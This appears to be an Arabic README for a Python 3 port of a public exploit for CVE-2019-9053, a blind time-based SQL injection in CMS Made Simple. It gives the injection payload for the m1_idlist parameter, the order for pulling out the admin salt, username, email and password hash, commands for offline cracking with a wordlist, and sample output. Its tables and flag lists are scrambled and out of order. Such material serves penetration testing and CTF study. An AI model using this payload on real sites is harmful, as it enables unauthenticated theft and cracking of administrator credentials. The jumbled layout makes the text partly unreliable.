
استغلال حقن SQL أعمى قائم على الوقت دون مصادقة لـ CMS Made Simple ≤ 2.2.9 (CVE-2019-9053)، منقول إلى Python 3.
إخلاء مسؤولية: هذه الأداة مخصّصة لاختبار الاختراق المصرّح به ولأغراض تعليمية فقط. تشغيلها ضد أنظمة دون إذن كتابي صريح يعدّ غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
هذه نسخة Python 3 من الاستغلال العام لثغرة CVE-2019-9053 — وهي ثغرة حقن SQL أعمى قائمة على الزمن دون مصادقة في CMS Made Simple ≤ 2.2.9.
المُعامِل القابل للاستغلال هو m1_idlist على نقطة النهاية /moduleinterface.php (وحدة الأخبار). يتم تمرير إدخال المستخدم دون تنقية إلى استعلام SQL، مما يسمح لمهاجم دون مصادقة باستخراج salt الخاص بالمسؤول واسم المستخدم والبريد الإلكتروني وتجزئة كلمة المرور — مع إمكانية كسر كلمة المرور دون اتصال.
الاستغلال الأصلي بواسطة Daniele Scanu @ Certimeter Group.
نسخة Python 3 مع إصلاحات وتنظيف.
يستخدم الاستغلال أوراكل زمني (timing oracle) — حيث يحقن SELECT sleep(T) في شرط LIKE داخل SQL ويقيس زمن استجابة HTTP. إذا تأخّر الخادم لمدة ≥ T ثانية، يكون الشرط المحقون صحيحًا. وهذا يسمح باستخراج البيانات حرفًا بحرف دون ظهور أي بيانات في نص استجابة HTTP.
Payload structure:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(known_prefix+guess)}25
+and+user_id+like+0x31)+--+
ترتيب الاستخراج:
بعد الاستخراج، يقوم هجوم قاموس دون اتصال اختياري بحساب MD5(salt + word) مقابل قائمة كلمات — دون الحاجة إلى أي طلبات شبكة إضافية.
كان النص البرمجي الأصلي مكتوبًا لـ Python 2. تم إصلاح التغييرات غير المتوافقة التالية:
pip3 install requests termcolor
| الاعتماد | الغرض |
|---|---|
requests | طلبات HTTP إلى الهدف |
termcolor | إخراج طرفية ملوّن |
# Basic extraction (no password cracking)
python3 exploit.py -u http://<target-ip>/simple
# Extraction + offline password cracking
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| العلم | الوصف |
|---|---|
-u, --url | عنوان URL الأساسي لتثبيت CMS Made Simple |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
يوفَّر هذا الاستغلال لاختبار الاختراق المصرّح به ولأغراض CTF/تعليمية فقط.
الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها يُعد جريمة جنائية بموجب قانون تكنولوجيا المعلومات لسنة 2000 (الهند) والقوانين المماثلة حول العالم.
| الخطوة | الحقل | الجدول | ملاحظات |
|---|
| 1 | Salt | cms_siteprefs | مطلوب لكسر كلمة المرور |
| 2 | اسم المستخدم | cms_users | user_id = 1 (admin) |
| 3 | البريد الإلكتروني | cms_users | user_id = 1 (admin) |
| 4 | كلمة المرور | cms_users | مخزنة كـ MD5(salt + password) |
| # | التغيير | السبب |
|---|
| 1 | print "..." → print("...") | print في Python 3 هي دالة |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | تتطلب hashlib.md5() بيانات من نوع bytes في Python 3 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict يحجب اسمًا مدمجًا؛ تم التبديل إلى مدير سياق |
| 4 | print "\033c" → print("\033c", end="") | يتجنب سطرًا جديدًا مزدوجًا عند مسح الطرفية |
| 5 | print colored(...) → print(colored(...)) | تُرجع colored() نصًا؛ تحتاج إلى غلاف print() |
-w, --wordlist | مسار إلى قائمة كلمات لكسر كلمة المرور دون اتصال |
-c, --crack | تفعيل وضع كسر كلمة المرور |
| الحقل | القيمة |
|---|
| CVE ID | CVE-2019-9053 |
| CVSS Score | 7.5 (مرتفع) |
| النوع | حقن SQL أعمى قائم على الزمن دون مصادقة |
| المتأثر | CMS Made Simple ≤ 2.2.9 |
| المعامل | m1_idlist في وحدة الأخبار |
| المصادقة المطلوبة | لا شيء |
| التصحيح | CMS Made Simple 2.2.10+ |